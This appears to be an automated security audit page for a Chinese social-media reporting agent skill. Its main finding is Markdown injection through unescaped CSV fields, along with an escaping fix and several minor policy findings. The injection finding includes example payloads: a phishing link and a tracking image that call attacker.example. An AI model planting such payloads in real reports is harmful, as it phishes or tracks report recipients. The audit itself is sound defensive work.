Back to skill

Security audit

自媒体矩阵管家虾

Security checks for vulnerabilities and agentic risk

Overview

This skill is a coherent social-media account reporting helper, but users should be careful before sharing generated reports externally.

Install only if you are comfortable giving the skill social-media account metrics and operational notes. Review generated Markdown before sending it to Feishu or group chats, especially when CSV data came from collaborators or external sources, and avoid sharing account IDs or risk notes with unintended recipients.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/analyze_matrix.py:73
Finding

Unescaped CSV Fields Enable Markdown Report Injection

Content
View full analysis
= config.get("viral_threshold", 3.0) else \ "⚠️ 异常" if r["alerts"] else "✅ 正常" lines.append( f"| {r['name']} | {r['platform']} | {r['plays']:,} | " f"{r['new_fans']:,} | {r['engagement_rate']}% | " f"{r['viral_score']:.1f}x | {status} |" ) ``` ### Technical Analysis The `account_name`, `platform`, and `risk_signal` values originate from a user-supplied CSV file. These values are inserted directly into Markdown headings, list entries, bold text, and table cells without escaping Markdown metacharacters or removing line breaks. An attacker able to influence the input dataset can supply values containing table delimiters, newlines, links, images, headings, or HTML. For example, a malicious `account_name` could contain: ```text Legitimate Account ## Urgent Security Notice [Reauthenticate](https://attacker.example/login) ``` A malicious table value could contain pipe characters and newlines to terminate the intended row and inject additional rows or arbitrary Markdown. Depending on the destination renderer, an image payload such as the following could also cause a request to an attacker-controlled server when the report is viewed: ```markdown ![tracking](https://attacker.example/track?id=recipient) ``` The generated report i ...[truncated 2031 chars]
Remediation
View remediation
`. - Replace carriage returns and newlines with spaces in table cells and inline labels. - Prevent raw HTML from reaching renderers that support HTML in Markdown. 3. Apply reasonable maximum lengths and, where appropriate, allowlists to fields such as `platform` and `account_name`. 4. Prefer document or messaging APIs that accept structured plain-text nodes rather than submitting concatenated Markdown. 5. Disable external image loading or sanitize image and link syntax before publishing reports when supported by the destination platform. 6. Add tests using hostile values containing pipes, newlines, headings, links, images, HTML tags, and backslashes. A context-specific helper can be introduced as follows: ```python def escape_markdown_text(value: object, *, table_cell: bool = False) -> str: text = str(value or "") text = text.replace("\r", " ").replace("\n", " ") text = text.replace("\\", "\\\\") for char in ("*", "_", "[", "]", "(", ")", "!", "<", ">"): text = text.replace(char, "\\" + char) if table_cell: text = text.replace("|", "\\|") return text ``` Apply it before constructing alerts and report rows: ```python risk_signal = escape_markdown_text(row.get("risk_signal", "")) account_name = escape_markdown_text(row.get("account_name", "Unknown")) platform = escape_markdown_text(row.get("platform", "-"), table_cell=True) if risk_signal.strip(): alerts.append(f"⚠️ Account risk: {risk_signal}") ``` When the same value is used in multiple contexts, escape it separately for each context rather than reusing a value escap ...[truncated 57 chars]
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (7)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
93% confidence
Finding

The skill invokes file-writing behavior by directing the agent to save user-provided data into the workspace, but it does not declare an explicit tool scope such as permissions or allowed-tools. This weakens least-privilege controls and can allow broader-than-expected file system access if the runtime grants default capabilities, increasing the chance of accidental overwrite, unsafe persistence, or misuse by downstream steps.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The workflow instructs saving uploaded account datasets and generating or pushing reports that may contain sensitive operational and comment-derived information, but it provides no explicit privacy warning, consent step, or data-minimization guidance. This creates a real risk of exposing account IDs, performance data, risk signals, or comment sentiment summaries to unintended recipients, especially when Feishu docs or messaging integrations are used.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

This markdown file contains all user-facing content in Chinese and does not indicate that the skill is region-specific or that users can opt into this language. Per the policy, forcing a specific language without user choice is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The entire skill file is written only in Chinese and provides no indication that users may choose another language or that the skill is intentionally limited to a Chinese-language context. Under the policy, forcing a specific language or locale without opt-in or clear justification is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
81% confidence
Finding

The natural-language instructions, examples, and trigger phrases are entirely in Chinese, which implies a fixed language/locale expectation for interaction. Under the policy, language constraints should either be optional for the user or explicitly documented as a justified region-specific limitation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
78% confidence
Finding

该文件标题及全文均以中文呈现,但未说明这是面向特定中文用户群体的区域性资料,也未提供其他语言选项。根据语言/区域政策要求,未经用户选择而默认强制单一语言可能构成自然语言层面的政策问题。

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

This code file contains user-facing natural-language strings exclusively in Chinese, including the module description, argument help text, errors, and status messages. Under the stated policy, forcing a specific language without user opt-in is a natural-language policy violation unless the locale restriction is explicitly justified, which is not present here.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.